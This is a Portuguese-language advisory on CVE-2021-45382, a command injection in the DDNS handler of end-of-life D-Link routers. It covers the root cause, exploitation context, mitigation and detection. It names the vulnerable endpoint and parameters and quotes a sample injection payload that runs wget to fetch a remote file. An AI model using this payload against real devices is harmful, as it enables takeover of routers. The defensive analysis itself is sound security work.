CVE-2021-45382

Vulnerabilidade de command injection (CWE-78) na função DDNS do binário ncc2, presente em cinco famílias de roteadores D-Link (DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, DIR-836L) em todas as revisões de hardware. É explorada ativamente — está no catálogo KEV da CISA — e importa porque os equipamentos são EOL/EOS: o fornecedor confirmou que não vai corrigir, então qualquer unidade em uso permanece vulnerável para sempre.

O binário ncc2, responsável pelo processamento de requisições administrativas do roteador, implementa uma função doCheck que trata a configuração do DDNS (Dynamic DNS). Os campos ddnsHostName e ddnsUsername enviados pelo cliente são concatenados diretamente em uma string que é passada para uma chamada equivalente a system(), sem sanitização de metacaracteres de shell.

Como a construção do comando é feita via formatação de string (sprintf-like) e o resultado vai para execução no shell do sistema, qualquer caractere de controle de shell (ponto-e-vírgula, pipe, backtick, substituição ${IFS}) inserido nesses dois campos é interpretado pelo interpretador de comandos do dispositivo, não apenas como dado do hostname/username DDNS.

O fluxo vulnerável é acionado pelo endpoint ccp_act=doCheck, exposto via POST em /ddns_check.ccp na interface web de administração. Não há validação de tipo de caractere nem lista de permissão para os valores desses campos antes de chegarem à chamada de sistema — falha clássica de injeção de comando OS por falta de neutralização de entrada em interface administrativa embarcada.

O PoC público envia um POST para /ddns_check.ccp com ccp_act=doCheck e os parâmetros ddnsHostName e ddnsUsername contendo payloads como `;wget${IFS}http:///arquivo;`, que o dispositivo executa como comando de shell. O resultado é execução arbitrária de comando com os privilégios do processo ncc2, tipicamente root em firmwares embarcados desse tipo, o que dá controle total do roteador.

O vetor CVSS publicado (AV:N/AC:L/PR:N/UI:N) sugere ataque remoto sem qualquer autenticação, mas o PoC documentado inclui o cookie `hasLogin=1`, indicando que a requisição foi feita a partir de uma sessão administrativa já autenticada. Isso é uma divergência relevante: a exploração remota sem controle de acesso depende de a interface de gerenciamento estar exposta (WAN admin habilitado, ou rede local/Wi-Fi comprometida) e, na prática demonstrada, de uma sessão válida — o que reduz, mas não elimina, a superfície real em comparação com o que o CVSS 9.8 comunica isoladamente.

A presença no catálogo KEV da CISA confirma exploração ativa observada, e a existência de template Nuclei indica automação de varredura e exploração em massa. Dado que os modelos afetados estão em fim de vida com base instalada residual (muitos ainda expostos à internet por usuários que nunca desativaram gerenciamento remoto), o padrão de ataque provável é varredura massiva de IPs com a interface administrativa acessível, seguida de tentativa de login com credenciais padrão/fracas e, uma vez autenticado, injeção via DDNS para plantar malware (padrão comum em botnets IoT que abusam esse tipo de falha).

Não existe patch: o fornecedor declarou formalmente, no aviso SAP10264, que DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L e DIR-836L atingiram End of Life/End of Support em todas as revisões de hardware e que a falha não será corrigida. A CISA, no KEV, recomenda diretamente desconectar o produto se ainda estiver em uso — essa é a mitigação oficialmente endossada, não uma reconfiguração.

Se a substituição imediata do equipamento não for viável, os controles compensatórios reais são: desabilitar completamente o acesso à administração via WAN (gerenciamento remoto), restringir a interface web de gerenciamento a uma rede de management isolada/VLAN sem acesso direto da internet, e desativar a funcionalidade de DDNS se não for usada. Trocar apenas a senha do painel administrativo, atualizar para a última versão de firmware disponível (que não corrige a lógica vulnerável) ou confiar em firewall de borda genérico sem bloquear especificamente o acesso à porta de administração não eliminam o risco — a falha está na lógica de processamento do campo DDNS, não em autenticação fraca.

Em ambientes corporativos ou de provedor com esses modelos ainda em campo (CPE de clientes, por exemplo), o caminho recomendado é o levantamento de inventário e substituição, já que não há atualização de firmware e o vetor pode ser explorado por scanners automatizados que já visam esses dispositivos há anos.

Em logs da interface web administrativa do roteador (quando existentes) ou em captura de tráfego na rede de gerenciamento, procurar requisições POST para /ddns_check.ccp com ccp_act=doCheck onde os parâmetros ddnsHostName ou ddnsUsername contenham metacaracteres de shell — ponto-e-vírgula, pipe, backtick, `${IFS}`, `$()` — em vez de um hostname/usuário DDNS legítimo. Tentativas de download subsequentes via wget/tftp originadas do próprio roteador para IPs externos, fora do padrão normal de atualização de firmware, são indício de exploração bem-sucedida.

Como esses dispositivos raramente possuem logging robusto ou centralizado, a detecção confiável no próprio equipamento é limitada — a via mais prática é monitorar, a partir da rede, tráfego de saída anômalo desses roteadores (conexões para servidores desconhecidos, padrões de botnet IoT) e presença nos scans com o template Nuclei correspondente à CVE.